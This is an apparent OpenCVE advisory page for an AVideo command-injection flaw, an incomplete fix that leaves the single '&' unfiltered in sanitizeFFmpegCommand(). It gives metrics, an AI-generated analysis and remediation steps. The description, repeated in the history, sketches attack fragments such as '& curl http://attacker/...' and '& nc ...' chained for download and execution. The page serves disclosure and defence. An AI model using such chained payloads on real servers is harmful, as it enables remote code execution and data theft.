Description
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
Published: 2026-07-16
Score: 8.1 High
EPSS: 2.2% Low
KEV: No
Impact: n/a
Action: n/a
AI Analysis

Impact

The AVideo project contains a function sanitizeFFmpegCommand() that is intended to strip dangerous shell metacharacters from commands that the encoder will run. A recent update added a denylist that omitted the single ampersand '&' – the shell background operator. Because the background operator was not neutralised, an attacker who can supply an encrypted payload that decrypts into a command string containing '&' can cause the server to execute arbitrary shell commands via execAsync() with a sh -c sink. The flaw also permits chaining multiple commands separated by '&', enabling more destructive actions such as code deployment and data exfiltration. The vulnerability remains in all released versions up through 29.0; the commit identified by c1cfa2bea8a351a1d07f5758f82887403e3abf1f corrects this by adding the ampersand to the denylist and removing "&&".

Affected Systems

All publicly released builds of WWBN AVideo version 29.0 and earlier are affected. The issue arises specifically in the ffmpeg.json.php endpoint where encrypted payloads are processed, so any deployment that exposes this endpoint without applying the patch remains vulnerable.

Risk and Exploitability

The CVSS score of 8.1 classifies the vulnerability as high severity, while an EPSS score of 2% indicates a low overall probability of exploitation for the broader attack population. The issue is not currently listed in CISA’s KEV catalog, but its remote nature means that an attacker who can craft a valid encrypted payload could achieve arbitrary command execution, potentially affecting the entire encoder server. No publicly available exploit has been reported; however, the ability to chain commands via '&' introduces significant risk for persistence, data exfiltration, or other malicious payloads.

Generated by OpenCVE AI on August 5, 2026 at 02:45 UTC.

Remediation

No vendor fix or workaround currently provided.

OpenCVE Recommended Actions

  • Update AVideo to the latest version that includes commit c1cfa2bea8a351a1d07f5758f82887403e3abf1f, or apply that commit manually to sanitizeFFmpegCommand to add "&" to the denylist (this is the official CNA fix),
  • Restrict access to the ffmpeg.json.php endpoint so that only trusted users can submit encrypted payloads, or disable the standalone encoder API if it is not required; this limits the potential attack surface in line with CWE‑78 mitigations for command injection
  • Add an additional sanitization layer that explicitly removes any remaining "&" characters or other shell metacharacters before the command is passed to execAsync(), ensuring that even if future changes re‑introduce similar issues, the execution path remains protected against CWE‑78 vulnerabilities

Generated by OpenCVE AI on August 5, 2026 at 02:45 UTC.

Tracking

Sign in to view the affected projects.

Advisories
Source ID Title
Github GHSA Github GHSA GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
History

Fri, 17 Jul 2026 14:30:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'poc', 'Technical Impact': 'total'}, 'version': '2.0.3'}


Thu, 16 Jul 2026 23:30:00 +0000

Type Values Removed Values Added
First Time appeared Wwbn
Wwbn avideo
Vendors & Products Wwbn
Wwbn avideo

Thu, 16 Jul 2026 21:00:00 +0000

Type Values Removed Values Added
Description WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
Title AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Weaknesses CWE-78
References
Metrics cvssV3_1

{'score': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H'}


cve-icon MITRE

Status: PUBLISHED

Assigner: GitHub_M

Published:

Updated: 2026-07-17T13:44:36.168Z

Reserved: 2026-06-16T15:20:43.085Z

Link: CVE-2026-55173

cve-icon Vulnrichment

Updated: 2026-07-17T13:44:31.946Z

cve-icon NVD

No data.

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

Updated: 2026-08-05T03:00:13Z

Weaknesses
  • CWE-78

    Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')